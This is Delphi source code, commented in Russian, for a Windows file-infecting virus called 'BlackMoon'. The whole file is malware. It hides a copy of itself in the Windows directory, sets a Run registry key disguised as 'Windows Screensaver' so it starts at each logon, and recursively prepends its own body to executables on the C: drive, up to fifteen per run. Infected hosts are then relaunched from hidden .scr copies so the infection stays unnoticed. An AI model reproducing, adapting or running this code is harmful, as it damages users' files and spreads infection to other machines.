{$M 10000000}
{$WARN SYMBOL_PLATFORM OFF}
{$I-}

program BlackMoon;
uses
  Windows, sysutils, Registry, tlhelp32;

const
  VirSize = 42496;
  InfectCount = 15;

// Находит папку винды
function GetWinDir: string;
begin
  Result:= GetEnvironmentVariable('windir');
end;

// Преобразует имя файла
// c:\file.exe -> c:\file.scr
function TempFile(FileName: string): string;
begin
  Result:= Copy(ExtractFilePath(FileName)+ExtractFileName(FileName),1,length(FileName)-0)+'.scr';
end;

function CheckInfect(path: string): boolean;
const
  SignSize = 99; // побольше
  SignPos = 6666; // сигнатуру лучше брать подальше а то попадёшь в ПЕ заголовок а он у всех одинаковый
type
  Bufer = array [1..SignSize] of char;
var
  F1 : file;
  F2 : file;
  FM : word;
  SignBuf : Bufer;
  VictBuf : Bufer;
begin
  FM:=FileMode;
  FileMode:=0;
  AssignFile(F1, Paramstr(0));
  AssignFile(F2, path);
  Reset(F1,1);
  Reset(F2,1);
  seek(F1,SignPos);
  seek(F2,SignPos);
  BlockRead(F1,SignBuf,SignSize);
  BlockRead(F2,VictBuf,SignSize);
  if SignBuf<>VictBuf then
    Result:= true
  else
    Result:=false;
  CloseFile(F1);
  CloseFile(F2);
  FileMode:=FM;
end;

Procedure CopyData(FromF, ToF: string; FromPos, ToPos, Count: integer; rw: boolean);
var
  F : file;
  NR : integer;
  FM : word; 
  Buf : array [1..999999] of byte; 
begin
  FM:= FileMode;
  FileMode:=0;
  AssignFile(F, FromF);
  Reset(F, 1);
  if FromPos=1 then
    FromPos:= FileSize(F) - VirSize;
  seek(F,FromPos);
  if Count=0 then
    Count:=FileSize(F);
  if Count=1 then
    Count:= FileSize(F) - VirSize;
  BlockRead(F, Buf, Count, NR);
  CloseFile(F);
  FileMode:=2;
  AssignFile(F, ToF);
  if rw then
    Rewrite(F, 1)
  else
    Reset(F, 1);
  if ToPos>0 then
  begin
    if ToPos=1 then
      ToPos:= FileSize(F);
    seek(F,ToPos);
  end;
  BlockWrite(F, Buf, NR);
  CloseFile(F);
  FileMode:= FM;
end;

procedure InRun;
var
  sr : TSearchRec;
begin
  findfirst(paramstr(0),faAnyFile-faDirectory,SR);
  if SR.Size > VirSize then
  begin
    CopyData(paramstr(0),TempFile(paramstr(0)),1,0,VirSize,true);
    CopyData(paramstr(0),TempFile(paramstr(0)),VirSize,1,1,false);
    FileSetAttr(TempFile(paramstr(0)),faHidden);
    winexec(PChar(TempFile(paramstr(0))),SW_SHOW);
  end;
end;

procedure InfectFiles(mask: string); // работоспособность поиска
var
  search: TSearchRec;
  directory: string;
  i: integer; // счетчик количества заражений
begin
  directory := ExtractFilePath(mask);
  if FindFirst(mask, $23, search) = 0 then
  begin 
    repeat
      if search.Size < 999999 then  // если файл подходит по размерам
      begin
        if CheckInfect(directory + search.Name) then // и не инфецирован
        begin
          CopyData(directory + search.Name, directory + search.Name,0,1,VirSize,false);
          CopyData(paramstr(0),directory + search.Name,0,0,VirSize,false);
          Inc(i);
          if i = InfectCount then // если заразили InfectCount файлов то на выход
            ExitProcess(0);
        end;
      end;
    until
      FindNext(search) <> 0;
  end;
  if FindFirst(directory + '*.*', faDirectory, search) = 0 then
  begin
    repeat
      if ((search.Attr and faDirectory) = faDirectory) and (search.Name[1] <> '.') then
        InfectFiles(directory + search.Name + '\' + ExtractFileName(mask));
    until FindNext(search) <> 0;
      FindClose(search);
       InRun;
  end;
end;

{заражение компьютера}
procedure InfectPC;
var
  reg : TRegistry;
begin
  reg:= TRegistry.Create;
  reg.RootKey := HKEY_CURRENT_USER;
  reg.OpenKey('Software',True);
  reg.OpenKey('Microsoft',True);
  reg.OpenKey('Windows',True);
  reg.OpenKey('CurrentVersion',True);
  reg.OpenKey('Run',True);
  reg.WriteString('Windows Screensaver',GetWinDir+'\cssr.exe');
  reg.Free;
  CopyFile(PChar(ParamStr(0)), PChar(GetWinDir+'\cssr.exe'), True);
  FileSetAttr(GetWinDir+'\cssr.exe',faHidden);
end;

function IsRunning(sName: string): boolean; // проверяет, запущен ли процесс жертвы
var
  han: THandle;
  ProcStruct: PROCESSENTRY32;
  sID: string;
begin
  Result := false;
 
  han := CreateToolhelp32Snapshot(TH32CS_SNAPALL, 0);
  if han = 0 then
    exit;
 
 
  ProcStruct.dwSize := sizeof(PROCESSENTRY32);
  if Process32First(han, ProcStruct) then
  begin
    repeat
      sID := ExtractFileName(ProcStruct.szExeFile);
 
      if uppercase(copy(sId, 1, length(sName))) = uppercase(sName) then
      begin
 
        Result := true;
        Break;
      end;
    until not Process32Next(han, ProcStruct);
  end;
 
  CloseHandle(han);
end;

procedure IsRun;
var
  null : Integer;

label
  IsRunned;
begin
IsRunned:
 if IsRunning(ExtractFileName(paramstr(0)+'.scr')) then

 else
    DeleteFile(ExtractFileName(paramstr(0))+'.scr');
    Sleep(500);
    goto IsRunned;
end;


{старт вируса}
begin
  InfectPC;
  InfectFiles('C:\*.exe');
  IsRun;
end.